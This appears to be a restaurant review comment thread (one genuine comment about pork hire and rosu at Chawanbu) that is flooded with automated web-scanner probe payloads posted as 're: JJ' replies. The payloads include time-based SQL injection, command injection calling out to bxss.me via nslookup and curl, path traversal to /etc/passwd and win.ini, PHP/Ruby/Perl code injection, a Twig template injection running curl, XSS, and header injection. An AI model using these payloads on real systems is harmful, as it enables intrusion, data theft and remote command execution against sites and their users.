re: JJ
|echo glmzec$()\ zsoufq\nz^xyu||a #' |echo glmzec$()\ zsoufq\nz^xyu||a #|" |echo glmzec$()\ zsoufq\nz^xyu||a #
re: JJ
".gethostbyname(lc("hittz"."osbhwtzg86667.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(68).chr(116).chr(67)."
re: JJ
/etc/shells
re: JJ
expr 9000611984 - 945964
re: JJ
gethostbyname(lc('hitoz'.'pskikpel7085e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(65).chr(102).chr(67)
re: JJ
../../../../../../../../../../../../../../etc/shells
re: JJ
(nslookup -q=cname hitzactamsofe16e52.bxss.me||curl hitzactamsofe16e52.bxss.me))
re: JJ
c:/windows/win.ini
re: JJ
$(nslookup -q=cname hitbbspxndswvf381b.bxss.me||curl hitbbspxndswvf381b.bxss.me)
re: JJ
bxss.me
re: JJ
&nslookup -q=cname hitacnfrbrsuqb71f2.bxss.me&'\"`0&nslookup -q=cname hitacnfrbrsuqb71f2.bxss.me&`'
re: JJ
Http://bxss.me/t/fit.txt
re: JJ
&(nslookup -q=cname hitfikteubdwhb0d25.bxss.me||curl hitfikteubdwhb0d25.bxss.me)&'\"`0&(nslookup -q=cname hitfikteubdwhb0d25.bxss.me||curl hitfikteubdwhb0d25.bxss.me)&`'
re: JJ
ctime
sleep
p0
(I30
tp1
Rp2
.
re: JJ
http://bxss.me/t/fit.txt?.jpg
re: JJ
|(nslookup -q=cname hitxvnsovqhqs0ab80.bxss.me||curl hitxvnsovqhqs0ab80.bxss.me)
re: JJ
`(nslookup -q=cname hitwgfkraxkgab3687.bxss.me||curl hitwgfkraxkgab3687.bxss.me)`
re: JJ
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: JJ
;(nslookup -q=cname hittyhhfiiygn9bd28.bxss.me||curl hittyhhfiiygn9bd28.bxss.me)|(nslookup -q=cname hittyhhfiiygn9bd28.bxss.me||curl hittyhhfiiygn9bd28.bxss.me)&(nslookup -q=cname hittyhhfiiygn9bd28.bxss.me||curl hittyhhfiiygn9bd28.bxss.me)
re: JJ
';print(md5(31337));$a='
re: JJ
|(nslookup${IFS}-q${IFS}cname${IFS}hitfgspocfxjo06797.bxss.me||curl${IFS}hitfgspocfxjo06797.bxss.me)
re: JJ
";print(md5(31337));$a="
re: JJ
&(nslookup${IFS}-q${IFS}cname${IFS}hitkzgkhovkvfc3125.bxss.me||curl${IFS}hitkzgkhovkvfc3125.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkzgkhovkvfc3125.bxss.me||curl${IFS}hitkzgkhovkvfc3125.bxss.me)&`'
re: JJ
${@print(md5(31337))}
re: JJ
'"()
re: JJ
${@print(md5(31337))}\
re: JJ
'&&sleep(27*1000)*bcsavx&&'
re: JJ
'.print(md5(31337)).'
re: JJ
"&&sleep(27*1000)*ycwzvq&&"
re: JJ
'||sleep(27*1000)*qqwjlx||'
re: JJ
"||sleep(27*1000)*mwxyxp||"
re: JJ
HttP://bxss.me/t/xss.html?%00
re: JJ
bxss.me/t/xss.html?%00
re: JJ
"+"A".concat(70-3).concat(22*4).concat(121).concat(75).concat(110).concat(79)+(require"socket"
Socket.gethostbyname("hitae"+"fyiqzbcj8a849.bxss.me.")[3].to_s)+"
re: JJ
replies
re: JJ
'+'A'.concat(70-3).concat(22*4).concat(98).concat(86).concat(116).concat(78)+(require'socket'
Socket.gethostbyname('hitot'+'cvoitoxl3e962.bxss.me.')[3].to_s)+'
re: JJ
replies
re: JJ
'A'.concat(70-3).concat(22*4).concat(116).concat(66).concat(113).concat(82)+(require'socket'
Socket.gethostbyname('hitvh'+'byqqolsxbc452.bxss.me.')[3].to_s)
re: JJ
replies/.
re: JJ
'"
re: JJ
<!--
re: JJ
'"()&%<zzz><ScRiPt >ptTt(9259)</ScRiPt>
re: JJ
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitjiorbxbscqd1c25.bxss.me")}}
re: JJ
'"()&%<zzz><ScRiPt >ptTt(9893)</ScRiPt>
re: JJ
9202163
re: JJ
3ORN6B7y
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
-1 OR 5*5=25 --
re: JJ
-1 OR 5*5=26 --
re: JJ
-1 OR 5*5=25
re: JJ
-1 OR 5*5=26
re: JJ
*if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
-1 waitfor delay '0:0:15' --
re: JJ
vL6b053R'; waitfor delay '0:0:15' --
re: JJ
-1 OR 438=(SELECT 438 FROM PG_SLEEP(15))--
re: JJ
-1) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 95=(SELECT 95 FROM PG_SLEEP(15))--
re: JJ
50rEvqSg' OR 762=(SELECT 762 FROM PG_SLEEP(15))--
re: JJ
ZNLvBiHz') OR 352=(SELECT 352 FROM PG_SLEEP(15))--
re: JJ
cw5BO8SJ')) OR 761=(SELECT 761 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
'"
re: JJ
@@F3ze1
re: JJ
(select 198766*667891)
re: JJ
(select 198766*667891 from DUAL)
re: JJ
F4MTzoGM
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
-1 OR 5*5=25 --
re: JJ
-1 OR 5*5=26 --
re: JJ
-1 OR 5*5=25
re: JJ
-1 OR 5*5=26
re: JJ
*if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
-1 waitfor delay '0:0:15' --
re: JJ
oFGa6yu2'; waitfor delay '0:0:15' --
re: JJ
-1 OR 648=(SELECT 648 FROM PG_SLEEP(15))--
re: JJ
-1) OR 90=(SELECT 90 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 232=(SELECT 232 FROM PG_SLEEP(15))--
re: JJ
jGlwMJVv' OR 888=(SELECT 888 FROM PG_SLEEP(15))--
re: JJ
HMgTJzjx') OR 817=(SELECT 817 FROM PG_SLEEP(15))--
re: JJ
uKCd45cD')) OR 314=(SELECT 314 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
'"
re: JJ
@@9mesg
re: JJ
(select 198766*667891)
re: JJ
(select 198766*667891 from DUAL)
re: JJ
FEoWIsN5
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
-1 OR 2+439-439-1=0+0+0+1
re: JJ
-1 OR 3+439-439-1=0+0+0+1
re: JJ
if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
1 waitfor delay '0:0:15' --
re: JJ
I64nNJzc'; waitfor delay '0:0:15' --
re: JJ
-5 OR 772=(SELECT 772 FROM PG_SLEEP(15))--
re: JJ
-5) OR 299=(SELECT 299 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 230=(SELECT 230 FROM PG_SLEEP(15))--
re: JJ
6JIlAhk6' OR 196=(SELECT 196 FROM PG_SLEEP(15))--
re: JJ
WtD60CFo') OR 942=(SELECT 942 FROM PG_SLEEP(15))--
re: JJ
WuSosRiq')) OR 515=(SELECT 515 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
1'"
re: JJ
@@8hGoc
re: JJ
87MlwvTN
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
*1
re: JJ
-1 OR 5*5=25 --
re: JJ
-1 OR 5*5=26 --
re: JJ
-1 OR 5*5=25
re: JJ
-1 OR 5*5=26
re: JJ
*if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
-1 waitfor delay '0:0:15' --
re: JJ
MjoDup9m'; waitfor delay '0:0:15' --
re: JJ
-1 OR 490=(SELECT 490 FROM PG_SLEEP(15))--
re: JJ
-1) OR 261=(SELECT 261 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 463=(SELECT 463 FROM PG_SLEEP(15))--
re: JJ
EipsPgc9' OR 334=(SELECT 334 FROM PG_SLEEP(15))--
re: JJ
zrXqj99I') OR 460=(SELECT 460 FROM PG_SLEEP(15))--
re: JJ
YONLO0eY')) OR 724=(SELECT 724 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
'"
re: JJ
@@ZvV8N
re: JJ
(select 198766*667891)
re: JJ
(select 198766*667891 from DUAL)
Photo of the hire at Chawanbu, for reference. The batter is fried in a light style, and the hire is served very pink. Note that unlike the hire, Chawanbu cooks their rosu much more thoroughly (medium well, bordering on well-done). So if you prefer the texture of medium pork, then hire is the way to go at Chawanbu.
re: JJ
tJlvJ0XF
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
-1 OR 2+195-195-1=0+0+0+1
re: JJ
-1 OR 3+195-195-1=0+0+0+1
re: JJ
if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
1 waitfor delay '0:0:15' --
re: JJ
QRvjW8HI'; waitfor delay '0:0:15' --
re: JJ
-5 OR 506=(SELECT 506 FROM PG_SLEEP(15))--
re: JJ
-5) OR 285=(SELECT 285 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 329=(SELECT 329 FROM PG_SLEEP(15))--
re: JJ
jjTopyYG' OR 810=(SELECT 810 FROM PG_SLEEP(15))--
re: JJ
0tgJZqKX') OR 373=(SELECT 373 FROM PG_SLEEP(15))--
re: JJ
WqC7QFer')) OR 650=(SELECT 650 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
1'"
re: JJ
@@lTyuM
re: JJ
e32PFXPG
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
-1 OR 2+21-21-1=0+0+0+1
re: JJ
-1 OR 3+21-21-1=0+0+0+1
re: JJ
if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
1 waitfor delay '0:0:15' --
re: JJ
RO0Yqwss'; waitfor delay '0:0:15' --
re: JJ
-5 OR 119=(SELECT 119 FROM PG_SLEEP(15))--
re: JJ
-5) OR 299=(SELECT 299 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 429=(SELECT 429 FROM PG_SLEEP(15))--
re: JJ
5FWC5nCV' OR 970=(SELECT 970 FROM PG_SLEEP(15))--
re: JJ
b7OYvbf6') OR 333=(SELECT 333 FROM PG_SLEEP(15))--
re: JJ
z3icf7EY')) OR 361=(SELECT 361 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
1'"
re: JJ
@@lXoFy
re: JJ
1qagSYtAO
re: JJ
response.write(9177807*9797718)
re: JJ
'+response.write(9177807*9797718)+'
re: JJ
"+response.write(9177807*9797718)+"
re: JJ
%0abcc:074625.67-10161.67.3225d.19990.2@bxss.me
re: JJ
to@example.com>%0d%0abcc:074625.67-10162.67.3225d.19990.2@bxss.me
re: JJ
<esi:include src="http://bxss.me/rpb.png"/>
re: JJ
${9999682+9999853}
re: JJ
../../../../../../../../../../../../../../etc/passwd
re: JJ
../../../../../../../../../../../../../../windows/win.ini
re: JJ
file:///etc/passwd
re: JJ
../../../../../../../../../../../../../../../proc/version
re: JJ
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: JJ
../../../../../../../../../../etc/passwd%00.jpg
re: JJ
)
re: JJ
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: JJ
echo muuvlc$()\ kyvypa\nz^xyu||a #' &echo muuvlc$()\ kyvypa\nz^xyu||a #|" &echo muuvlc$()\ kyvypa\nz^xyu||a #
re: JJ
!(()&&!|*|*|
re: JJ
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: JJ
^(#$!@#$)(()))******
re: JJ
&echo rjlkyl$()\ astrwe\nz^xyu||a #' &echo rjlkyl$()\ astrwe\nz^xyu||a #|" &echo rjlkyl$()\ astrwe\nz^xyu||a #
re: JJ
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: JJ
|echo xbwxmq$()\ dietrt\nz^xyu||a #' |echo xbwxmq$()\ dietrt\nz^xyu||a #|" |echo xbwxmq$()\ dietrt\nz^xyu||a #
re: JJ
/etc/passwd
re: JJ
(nslookup hitdqxatxxpkg1aca0.bxss.me||perl -e "gethostbyname('hitdqxatxxpkg1aca0.bxss.me')")
re: JJ
%2fetc%2fpasswd
re: JJ
$(nslookup hitrqwurjtjudee8ab.bxss.me||perl -e "gethostbyname('hitrqwurjtjudee8ab.bxss.me')")
re: JJ
/.././.././.././.././.././.././.././../etc/./passwd%00
re: JJ
&nslookup hitzovbervusq1d86f.bxss.me&'\"`0&nslookup hitzovbervusq1d86f.bxss.me&`'
re: JJ
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: JJ
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: JJ
'.gethostbyname(lc('hitbk'.'audyjmkfd98b0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(87).chr(111).chr(74).'
re: JJ
&(nslookup hitdryudatudf886c6.bxss.me||perl -e "gethostbyname('hitdryudatudf886c6.bxss.me')")&'\"`0&(nslookup hitdryudatudf886c6.bxss.me||perl -e "gethostbyname('hitdryudatudf886c6.bxss.me')")&`'
re: JJ
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: JJ
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: JJ
|(nslookup hitxcjwdgathy31753.bxss.me||perl -e "gethostbyname('hitxcjwdgathy31753.bxss.me')")
re: JJ
".gethostbyname(lc("hitwd"."gypudapuead5d.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(89).chr(113).chr(72)."
re: JJ
Http://bxss.me/t/fit.txt
re: JJ
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: JJ
`(nslookup hitebgrdamogdda52e.bxss.me||perl -e "gethostbyname('hitebgrdamogdda52e.bxss.me')")`
re: JJ
http://bxss.me/t/fit.txt%3F.jpg
re: JJ
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: JJ
;(nslookup hitdzgmzrkorh11886.bxss.me||perl -e "gethostbyname('hitdzgmzrkorh11886.bxss.me')")|(nslookup hitdzgmzrkorh11886.bxss.me||perl -e "gethostbyname('hitdzgmzrkorh11886.bxss.me')")&(nslookup hitdzgmzrkorh11886.bxss.me||perl -e "gethostbyname('hitdzgmzrkorh11886.bxss.me')")
re: JJ
/etc/shells
re: JJ
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: JJ
c:/windows/win.ini
re: JJ
file:///etc/passwd
re: JJ
bxss.me
re: JJ
/\../\../\../\../\../\../\../etc/passwd
re: JJ
/WEB-INF/web.xml
re: JJ
C:\WINDOWS\system32\drivers\etc\hosts
re: JJ
HttP://bxss.me/t/xss.html?%00
re: JJ
"+"A".concat(70-3).concat(22*4).concat(107).concat(79).concat(106).concat(72)+(require"socket"
Socket.gethostbyname("hitpj"+"rikykksm2ac14.bxss.me.")[3].to_s)+"
re: JJ
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: JJ
../../../../../../../../../../windows/win.ini%00.jpg
re: JJ
bxss.me/t/xss.html?%00
re: JJ
'+'A'.concat(70-3).concat(22*4).concat(101).concat(66).concat(110).concat(82)+(require'socket'
Socket.gethostbyname('hitvk'+'wdxwbmjlc6371.bxss.me.')[3].to_s)+'
re: JJ
';print(md5(31337));$a='
re: JJ
/../../../../../../../../../../boot.ini
re: JJ
";print(md5(31337));$a="
re: JJ
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: JJ
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: JJ
${@print(md5(31337))}
re: JJ
..\..\..\..\..\..\..\..\windows\win.ini
re: JJ
${@print(md5(31337))}\
re: JJ
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: JJ
'.print(md5(31337)).'
re: JJ
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: JJ
'"
re: JJ
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: JJ
<!--
re: JJ
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: JJ
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\